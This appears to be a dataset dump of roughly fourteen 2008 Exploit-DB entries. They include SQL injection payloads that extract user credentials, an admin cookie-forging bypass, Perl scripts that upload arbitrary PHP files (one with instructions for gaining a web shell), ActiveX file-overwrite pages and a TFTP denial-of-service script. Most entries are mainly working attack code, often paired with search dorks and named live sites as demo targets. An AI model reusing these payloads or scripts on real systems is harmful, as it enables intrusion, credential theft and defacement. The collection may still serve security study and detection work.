QLWD/code_shield huggingface dataset:
标题: Absolute Poll Manager XE 4.1 - Insecure Cookie Handling EDB-ID: 6883 CVE: 2008-6860 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-30 漏洞利用脚本: ###############################################################################################
 _____    ____   __  ___    ______   ______       |   ____   _____     _____
|        / ___|  \ \ / /   / ____|  /      |      |  |      |  _  \   |
|_____  | |  _    \ V /    | |      |      |   ___|  |_____ | |_)  |  |_____
|       | |_ ||    | |     | |____  |      |  |   |  |      |   _  |        |
|_____   \____|    |_|      \_____|  \_____/  |___|  |____  |__| \_\  ______|

# Discovered By : Hakxer
# Home : Www.educ-up.com
# Type Gap : Insecure cookie handling 
# script : Absolute Poll Manager XE v 4.1 [see script] http://www.xigla.com/absolutepm/demo.htm
# Greetz : Allah , Egyptian x Hacker , all my team , All educ-up member
# Team : EgY Coders 
#################################################################################################

# Dork : " Absolute Poll Manager XE "

# Poc 
==> javascript:document.cookie="xlaAPM%5Fusr=administrator";

# Demo Script < Test> 

# First go to Admin panel : http://www.xigla.com/absolutepm/xlaabsolutepm/login.asp
# [~] Exploit this : javascript:document.cookie="xlaAPM%5Fusr=administrator";
# And Go to http://www.xigla.com/absolutepm/xlaabsolutepm/menu.asp
# See Admin panel .. 

# Have Fun :D

###############################################################################

-------------------------------- The End of Gap -----------------------------------

## Contact : aq5@windowslive.com
### Muslim Hacker .. I love you Mohammed Rasull Allah 
######################################################

# milw0rm.com [2008-10-30] URL: https://www.exploit-db.com/exploits/6883
标题: MyPHP Forum 3.0 - Edit Topics / Blind SQL Injection EDB-ID: 6879 CVE: 2008-6777 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-30 漏洞利用脚本: /*
    -----------------------------------------------------------------------------------
    MyPHP Forum (Final) <= 3.0 (Edit Topics/Blind SQL Injection) Remote Vulnerabilities
    -----------------------------------------------------------------------------------
    Discovered By StAkeR[at]hotmail[dot]it
    Download On http://www.myphp.ws/
    

   - member.php (confirm - Blind SQL Injection)
   - member.php?action=confirm&id=' or ascii(substring((select password from nb_member where uid=1),1,1))=98/* 
 
   - member.php (newconfirm - Blind SQL Injection)
   - member.php?action=newconfirm&user=' or ascii(substring((select password from nb_member where uid=1),1,1))=98--
    
   - member.php?action=reqpwd  (reqpwd - Blind SQL Injection)
   - insert  ' or ascii(substring((select password from nb_member where uid=1),1,1))=98#
    
   - post.php (post Blind SQL Injection)
   - post.php?action=post&fid=1&tid=1&quote=' or ascii(substring((select password from nb_member where uid=1),1,1))=9%23
    
   - post.php (edit - Edit Topics)
   - post.php?action=edit&fid=1&tid=1&pid=[id topic] ' or '1=1
        
    
    
    
/*    

# milw0rm.com [2008-10-30] URL: https://www.exploit-db.com/exploits/6879
标题: e107 Plugin lyrics_menu - 'l_id' SQL Injection EDB-ID: 6885 CVE: 2008-4906 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-31 漏洞利用脚本: e107 Plugin lyrics_menu lyrics_song.php (l_id) Remote Sql inj

author: ZoRLu

home: z0rlu.blogspot.com 

concat: trt-turk@hotmail.com

date: 30/10/2008 ( saat 23:36 the_k@m!l'lerdeyim a.q :) )

n0te: YALNIZLIK YiTiRDi ANLAMINI YALNIZLIGIMDA  : ( (

n0te: a.q kpss : ) )

dork: allinurl:"lyrics_menu/lyrics_song.php?l_id="

exploit:

http://localhost/script_path/lyrics_song.php?l_id=[SQL1] or [SQL2]

[SQL1] = column number 15

-1+union+select+1,concat(user_name,0x3a,user_password),3,4,5,6,7,8,9,10,11,12,13,14,15+from+e107_user--

example 1:

http://www.mirage.org/e107_plugins/lyrics_menu/lyrics_song.php?l_id=-1+union+select+1,concat(user_name,0x3a,user_password),3,4,5,6,7,8,9,10,11,12,13,14,15++from+e107_user--

[SQL2] = column number 17

-1+union+select+1,2,3,concat(user(),0x3a,database()),5,6,7,8,9,10,11,12,13,14,15,16,17--

example 2:

http://www.reklamadatbazis.hu/e107_plugins/lyrics_menu/lyrics_song.php?l_id=-1+union+select+1,2,3,concat(user(),0x3a,database()),5,6,7,8,9,10,11,12,13,14,15,16,17--

thanks: str0ke

# milw0rm.com [2008-10-31] URL: https://www.exploit-db.com/exploits/6885
标题: Pro Traffic One - 'poll_results.php' SQL Injection EDB-ID: 6877 CVE: 2008-6214 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-29 漏洞利用脚本: |___________________________________________________
|  Pro Traffic One( poll_results.php id) Remote SQL Injection Vulnerability
|___________________________________________________
|--------------------   IQ-SecuritY  -------------------
|
|    Author: Hussin X
|
|    Home :  WwW.IQ-ty.CoM
|
|    email:  darkangel_g85[at]Yahoo[DoT]com
|
|___________________________________________________
|                                                                                                    
|
| script :  http://www.webmasterdownload.com/
|
| DorK   :  :)
|___________________________________________________

Exploit:
________


www.[target].com/Script/poll_results.php?id=-1+union+select+1,concat(version(),0x3e,user())--


Demo
________

http://www.free4newbies.com/pro-traffic/poll_results.php?id=-1+union+select+1,concat(version(),0x3e,user())--




____________________________( Greetz )_________________________________________
|
|  All members of the Forum IQ-SecuritY  WwW.IQ-ty.CoM | AnD TrYaG  WwW.TrYaG.CC
|
|  My friends : DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR | CraCkEr
|
|   Ghost Hacker | FAHD | Iraqihack | jiko | str0ke | Cyber-Zone | Sakab | G4N0K
|___________________________________________________________________________


                   Im IRAQi    |    Im TrYaGi

# milw0rm.com [2008-10-29] URL: https://www.exploit-db.com/exploits/6877
标题: MW6 Aztec - ActiveX 'Aztec.dll' Remote Insecure Method EDB-ID: 6870 CVE: 2008-4923 类型: REMOTE 平台: WINDOWS 发布日期: 2008-10-29 漏洞利用脚本: ï»¿<!--
By Dr.Pantagon
DeltaSecurityCenter
www.DeltaSecurity.ir
Description : Aztec ActiveX
ver : 3.0.0.1
CopyRight : MW6 Technologies, Inc. 
Download Link : http://www.mw6tech.com/aztec/MW6Aztec.ZIP

 This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 6
 
This control contains two methods SaveAsBMP(); And SaveAsWMF();

Sub SaveAsWMF (
  ByVal FileName  As String 
)

AND

Sub SaveAsWMF (
  ByVal FileName  As String 
)
you can see this problem to all product this company
-->
<html>
Test Exploit page
<object classid='clsid:F359732D-D020-40ED-83FF-F381EFE36B54' id='target' ></object>
<script language='vbscript'>

targetFile = "C:\WINDOWS\system32\Aztec.dll"
prototype  = "Sub SaveAsBMP ( ByVal FileName As String )"
memberName = "SaveAsBMP"
progid     = "AZTECLib.MW6Aztec"
argCount   = 1

arg1="c:\windows\system_.ini"

target.SaveAsBMP arg1 
'target.SaveAsWMF arg1 


</script>

# milw0rm.com [2008-10-29] URL: https://www.exploit-db.com/exploits/6870
标题: PacketTrap TFTPD 2.2.5459.0 - Remote Denial of Service EDB-ID: 6863 CVE: 2008-1311 类型: DOS 平台: WINDOWS 发布日期: 2008-10-29 漏洞利用脚本: #!/usr/bin/perl
# Jeremy Brown [0xjbrown41@gmail.com/jbrownsec.blogspot.com]
# PacketTrap TFTPD DoS (latest 2.2.5459.0 tested) -- www.packettrap.com
# Must have Net::TFTP installed (easy to install, 'cpan' then 'install Net::TFTP' ;)
# A product of tftpfuzz.pl (coming soon)

use Net::TFTP;
use Getopt::Std;

$tftp = Net::TFTP->new("192.168.0.112");
$tftp->ascii;
$tftp->put("test", "|");

exit;

# milw0rm.com [2008-10-29] URL: https://www.exploit-db.com/exploits/6863
标题: 7Shop 1.1 - Arbitrary File Upload EDB-ID: 6866 CVE: 2008-6806 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-29 漏洞利用脚本: #!/usr/bin/perl

use warnings;
use strict;
use LWP::UserAgent;
use HTTP::Request::Common;

my $fname = rand(1000) . ".php"; # int.. yes i know PU!

print <<INTRO;
+++++++++++++++++++++++++++++++++++++++++++++++++++++
+     7Shop <= 1.1 Remote Arbitrary File Upload     +
+             [Content-Type] -> Spoofing            +
+         Discovered && Coded By: t0pP8uZz          +
+                                                   +
+        Contact IRC: irc.rizon.net #sectalk        +
+ Vendor not notified! Later versions maybe vuln!   +
+                                                   +
+   Discovered On: 25 October 2008 / milw0rm.com    +
+                                                   +
+          Script Download: http://7shop.de         +
+++++++++++++++++++++++++++++++++++++++++++++++++++++
INTRO

print "\nEnter URL(ie: http://site.com/shop): ";
    chomp(my $url=<STDIN>);
    
print "\nEnter File Path(path to local file to upload): ";
    chomp(my $file=<STDIN>);

my $ua = LWP::UserAgent->new;
my $re = $ua->request(POST $url.'/includes/imageupload.php',
                      Content_Type => 'form-data',
                      Content      => [ img1 => [ $file, $fname, Content_Type => 'image/jpeg' ], ] );

die "HTTP POST Failed!" unless $re->is_success;

if($re->content =~ /File is valid/) {
    
    print "File successfully uploaded! Access your file here: " . $url . "/images/artikel/" . $fname . "\n"; # say()? nah you havent got perl510 yet. have you!
}
elsif($re->content =~ /The requested URL/) { # apache debug only
    
    print "File Upload Failed! The requested target was not running a vulnerable version of 7shop!\n";
}
else {
    
    print "File Upload Failed! target vulnerable, but upload failed.. try changing filename.\n";
}
exit;

# milw0rm.com [2008-10-29] URL: https://www.exploit-db.com/exploits/6866
标题: WordPress Plugin E-Commerce 3.4 - Arbitrary File Upload EDB-ID: 6867 CVE: 2008-6811 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-29 漏洞利用脚本: #!/usr/bin/perl

use warnings;
use strict;
use LWP::UserAgent;
use HTTP::Request::Common;

my $fname = rand(99999) . ".php"; # no int()

print <<INTRO; # messy print i know..
- Wordpress Plugin e-Commerce <= 3.4 Arbitrary File Upload -
            Discovered && Coded by: t0pP8uZz
            Discovered on: 20 October 2008
  
  Theres no current vulnerabilitys for this plugin, but the
  vulnerability explained here no longer exists in the later
  versions of the plugin, due to a code rewrite.
  
  In testing this vulnerability, i wrote a scraping content
  program, and found ALOT of vulnerable sites.
  
  This exploit will upload a selected file to the...
  ... /wp-content/plugins/wp-shopping-cart/ directory.
  
  If the directory is not writable (rare cases) you can
  mod this exploit and use the insecure GET variable
  "imagedir" to directory traversal.. so you can upload
  in diffrent directorys.
  
  Contact: irc.rizon.net #sectalk
  
  Dork: inurl:"/wp-content/plugins/wp-shopping-cart/"

INTRO

print "\nEnter URL(ie: http://site.com/mambo): ";
    chomp(my $url=<STDIN>);
    
print "\nEnter File Path(path to local file to upload): ";
    chomp(my $file=<STDIN>);
    
my $ua = LWP::UserAgent->new;
my $re = $ua->request(POST $url . '/wp-content/plugins/wp-shopping-cart/image_processing.php',
                      Content_Type => 'form-data',
                      Content      => [ Submit => "Add", image => [ $file, $fname, Content_Type => 'plain/text' ], ] );

die "Exploit Failed: HTTP POST Failed!" unless $re->is_success;

if($re->content =~ /Fatal error/i) { 
    print "Complete! To see if exploit was successfull visit the following URL for your uploaded file.\n";
    print "Uploaded File: " . $url . "/wp-content/plugins/wp-shopping-cart/" . $fname . "\n";
} else
{
    print "Exploit Failed! Target host not vulnerable!\n";
}
exit;

# milw0rm.com [2008-10-29] URL: https://www.exploit-db.com/exploits/6867
标题: WebCards 1.3 - SQL Injection EDB-ID: 6869 CVE: 2008-4878 2008-4877 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-29 漏洞利用脚本: -[*]+================================================================================+[*]-
-[*]+      WebCards <= 1.3 Remote SQL Injection Vulnerability              +[*]-
-[*]+================================================================================+[*]-



[*] Discovered By: t0pP8uZz
[*] Contact: irc.rizon.net #sectalk
[*] Discovered On: 22 October 2008
[*] Script Download: http://www.mywebcards.net/
[*] DORK: "Powered By Webcards"



[*] Vendor Has Not Been Notified!



[*] DESCRIPTION/USAGE: 

 WebCards 1.3 and prior versions suffer from a MySQL injection in the admin login
 page, This allows remote attackers to gain access to the administration area
 without having a valid user/pass combination.

 All what is needed is the valid username, The default admin username is "admin" so
 the below SQL syntax should gain entry to a vulnerable site.

 Not all sites are vulnerable, It relys on Magic Quotes, and other script settings for
 this to work, I tested on about 15 sites, and 2 of those 15 were only vulnerable.

 Once in the administration area its possible to get a very easy shell, Which is
 explained in the "Notes" section of this document.



[*] SQL Injection:

 First find a vulnerable site, Then goto http://site.com/webcards/admin.php

 Enter the following in the username textbox: admin" and ""="
 Enter the following in the password textbox: 1



[*] NOTE/TIP: 

 To gain a shell on the vulnerable host, Simply use the sql injection above, Once
 administration is gained, Click "Add Image Macro" follow the onscreen instructions
 and change the extension to php or what ever file type you want.

 Once complete goto "Images" and upload your shell/file, When its complete, Navigate
 back to images, Goto "Show All" and look for your file name, then just copy the LINK.


[*] GREETZ: 

 milw0rm.com, Offensive-Security.com, CipherCrew !



[-] Come hang in irc, irc.rizon.net #sectalk
 
 Peace...

 ...t0pP8uZz !



-[*]+================================================================================+[*]-
-[*]+      WebCards <= 1.3 Remote SQL Injection Vulnerability              +[*]-
-[*]+================================================================================+[*]-

# milw0rm.com [2008-10-29] URL: https://www.exploit-db.com/exploits/6869
标题: MW6 PDF417 - ActiveX 'MW6PDF417.dll' Remote Insecure Method EDB-ID: 6873 CVE: 2008-4926 类型: REMOTE 平台: WINDOWS 发布日期: 2008-10-29 漏洞利用脚本: ï»¿<!--
By Dr.Pantagon
DeltaSecurityCenter
www.DeltaSecurity.ir
Description : PDF417 ActiveX
ver : 3.0.0.1
CopyRight : MW6 Technologies, Inc. 
Download Link :http://www.mw6tech.com/pdf417/try/MW6PDF417.zip

 This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 6
 
This control contains two methods SaveAsBMP(); And SaveAsWMF();

Sub SaveAsWMF (
  ByVal FileName  As String 
)

AND

Sub SaveAsWMF (
  ByVal FileName  As String 
)
you can see this problem to all product this company
-->
<html>
Test Exploit page
<object classid='clsid:90D2A875-5024-4CCD-80AA-C8A353DB2B45' id='target' >
 <param name="BackColor" value="16777215">
 <param name="BarColor" value="0">
 <param name="BorderStyle" value="0">
 <param name="Data" value="12">
 <param name="ModuleWidth" value="0,07">
 <param name="Orientation" value="0">
 <param name="SecurityLevel" value="2">
 <param name="PDFMode" value="0">
 <param name="PDFColumns" value="3">
 <param name="PDFRows" value="0">
 <param name="TruncateSymbol" value="0">
 <param name="HandleTilde" value="0">
 <param name="Y2XRatio" value="3">
</object>
<script language='vbscript'>
targetFile = "C:\WINDOWS\system32\MW6PDF417.dll"
prototype  = "Sub SaveAsBMP ( ByVal FileName As String )"
memberName = "SaveAsBMP"
progid     = "MW6PDF417Lib.PDF417"
argCount   = 1

arg1="c:\windows\system_.ini"

target.SaveAsBMP arg1 
'target.SaveAsWMF arg1

</script>

# milw0rm.com [2008-10-29] URL: https://www.exploit-db.com/exploits/6873
标题: Visagesoft eXPert PDF ViewerX - 'VSPDFViewerX.ocx' File Overwrite EDB-ID: 6875 CVE: 2008-4919 类型: REMOTE 平台: WINDOWS 发布日期: 2008-10-29 漏洞利用脚本: VISAGESOFT eXPertPDFViewerX (VSPDFViewerX.ocx) INSECURE METHOD
 SITE: http://www.visagesoft.com
 
 This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.
 Author: Marco Torti
 mail: marcotorti2[at]yahoo[dot]com
 thanks UGIS
################################################################################
 FileVersion:   3.0.990.0
 CLSID:  {BDF3E9D2-5F7A-4F4A-A914-7498C862EA6A}
 Description: Visagesoft PDF Viewer Control
 ProgID:        VSPDFViewer.VSPDFViewer
 
  Marked as:
  RegKey Safe for Script: False
  RegKey Safe for Init: False
  Implements IObjectSafety: True
  IDisp Safe: Safe for untrusted: caller,data 
  IPStorage Safe: Safe for untrusted: caller,data
 
 Vulnerable method:
 savePageAsBitmap(ByVal bitmapFileName  As String) As Boolean
##################################################################################
 Vulnerability Description:
    The "savePageAsBitmap" method doesn't check user supplied arguments so we
    can save/overwrite a specified file passed as argument, i don't have time, check others functions....
 Tested on Windows XP Professional SP3 fully patched, with Internet Explorer 7
###################################################################################
<object classid='clsid:BDF3E9D2-5F7A-4F4A-A914-7498C862EA6A' id='target'/></object>
<input language=VBScript onclick=launch() type=button value='start exploit'>
<script language='vbscript'>
Sub launch
target.savePageAsBitmap "c:\windows\-system.ini"
MsgBox"Exploit Completed.. file overwrite!"
End Sub
</script>
###################################################################################

# milw0rm.com [2008-10-29] URL: https://www.exploit-db.com/exploits/6875
标题: Harlandscripts Pro Traffic One - 'mypage.php' SQL Injection EDB-ID: 6874 CVE: 2008-6213 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-29 漏洞利用脚本: ################################################################ 
#       .___             __          _______       .___        # 
#     __| _/____ _______|  | __ ____ \   _  \    __| _/____    # 
#    / __ |\__  \\_  __ \  |/ // ___\/  /_\  \  / __ |/ __ \   # 
#   / /_/ | / __ \|  | \/    <\  \___\  \_/   \/ /_/ \  ___/   # 
#   \____ |(______/__|  |__|_ \\_____>\_____  /\_____|\____\   # 
#        \/                  \/             \/                 # 
#                   ___________   ______  _  __                # 
#                 _/ ___\_  __ \_/ __ \ \/ \/ /                # 
#                 \  \___|  | \/\  ___/\     /                 # 
#                  \___  >__|    \___  >\/\_/                  # 
#      est.2007        \/            \/   forum.darkc0de.com   # 
################################################################ 
# --d3hydr8 -rsauron-baltazar -sinner_01 -C1c4Tr1Z - r45s4l    # 
#  ---QKrun1x-P47tr1ck - FeDeReR -MAGE -JeTFyrE                #
#                   and all darkc0de members                ---# 
################################################################ 
# 
# Author: Beenu Arora
# 
# Home  : www.BeenuArora.com 
# 
# Email : beenudel1986@gmail.com 
# 
# Share the c0de! 
# 
################################################################ 
# 
# Title: harlandscripts Mypage.php Sql Injection 

#
# Vendor: http://www.harlandscripts.com/ ( Paid Script )

# 
#
###########################################################
#
# d0rk:Powered by HarlandScripts.com
#
###########################################################
 
        
     
     Live Demo: 
 http://traffic.cyberaction.biz/mypage.php?trg=1142+and+1=2+union+select+1,2,3,user(),concat(0x3a,database()),6,7,8,9,10,11,12,13,14,15,version(),17,18,19,20,21,22,23,24,25,26,27,28--

     

###########################################################
#
#  Bug discovered : 29 Oct.2008
###########################################################

# milw0rm.com [2008-10-29] URL: https://www.exploit-db.com/exploits/6874
标题: Mambo Component SimpleBoard 1.0.1 - Arbitrary File Upload EDB-ID: 6868 CVE: 2008-6814 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-29 漏洞利用脚本: #!/usr/bin/perl

use warnings;
use strict;
use LWP::UserAgent;
use HTTP::Request::Common;

my $fname = rand(99999) . ".php"; # no int()

print <<INTRO;

- SimpleBoard Mambo Component <= 1.0.1 -
- Remote Arbitrary File Upload Exploit -
    
    Discovered && Coded by: t0pP8uZz
    Discovered on: 20 October 2008
    Vendor has not been notified!
    
    Note:
    
        This exploit is a completely diffrent
            method then the prior simpleboard vulns.
            which differs from the one
            located here: http://milw0rm.com/exploits/1994
            
        Same files vulnerable, But this one works with
            the patch! in later versions of
            SimpleBoard they removed the image_upload.php so
            this wont work. but this
            works on every image_upload.php version. with the
            patch in place!
            
        A common error for the exploit is if openbase_dir is
            enabled, then this means
            the file will not get uploaded due to the
            dir restrictions.
            
    - Peace
    - irc.rizon.net #sectalk

INTRO

print "\nEnter URL(ie: http://site.com/mambo): ";
    chomp(my $url=<STDIN>);
    
print "\nEnter File Path(path to local file to upload): ";
    chomp(my $file=<STDIN>);

my $ua = LWP::UserAgent->new;
my $re = $ua->request(POST $url.'/components/com_simpleboard/image_upload.php',
                      Content_Type => 'form-data',
                      Content      => [ attachimage => [ $file, $fname, Content_Type => 'image/jpeg' ], ] );

die "HTTP POST Failed!" unless $re->is_success;

if($re->content =~ /open_basedir/) {
    
    print "open_basedir restriction enabled. Exploit failed. See php.ini for more details.\n"; # say() ? get perl510
}
else {
 
    print "Looks like exploit was successfull! for uploaded file check:  " . $url . "/components/com_simpleboard/" . $fname . "\n";   
}
exit;

# milw0rm.com [2008-10-29] URL: https://www.exploit-db.com/exploits/6868
标题: MW6 Datamatrix - ActiveX 'Datamatrix.dll' Insecure Method EDB-ID: 6872 CVE: 2008-4925 类型: REMOTE 平台: WINDOWS 发布日期: 2008-10-29 漏洞利用脚本: ï»¿<!--
By Dr.Pantagon
DeltaSecurityCenter
www.DeltaSecurity.ir
Description : DataMatrix ActiveX
ver : 3.0.0.1
CopyRight : MW6 Technologies, Inc. 
Download Link : http://www.mw6tech.com/datamatrix/try/MW6DataMatrix.zip

 This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 6
 
This control contains two methods SaveAsBMP(); And SaveAsWMF();

Sub SaveAsWMF (
  ByVal FileName  As String 
)

AND

Sub SaveAsWMF (
  ByVal FileName  As String 
)
you can see this problem to all product this company
-->
<html>
Test Exploit page
<object classid='clsid:DE7DA0B5-7D7B-4CEA-8739-65CF600D511E' id='target' ></object>
<script language='vbscript'>
targetFile = "C:\WINDOWS\system32\DataMatrix.dll"
prototype  = "Sub SaveAsBMP ( ByVal FileName As String )"
memberName = "SaveAsBMP"
progid     = "DATAMATRIXLib.MW6DataMatrix"
argCount   = 1

arg1="c:\windows\system_.ini"

target.SaveAsBMP arg1 
'target.SaveAsWMF arg1

</script>

# milw0rm.com [2008-10-29] URL: https://www.exploit-db.com/exploits/6872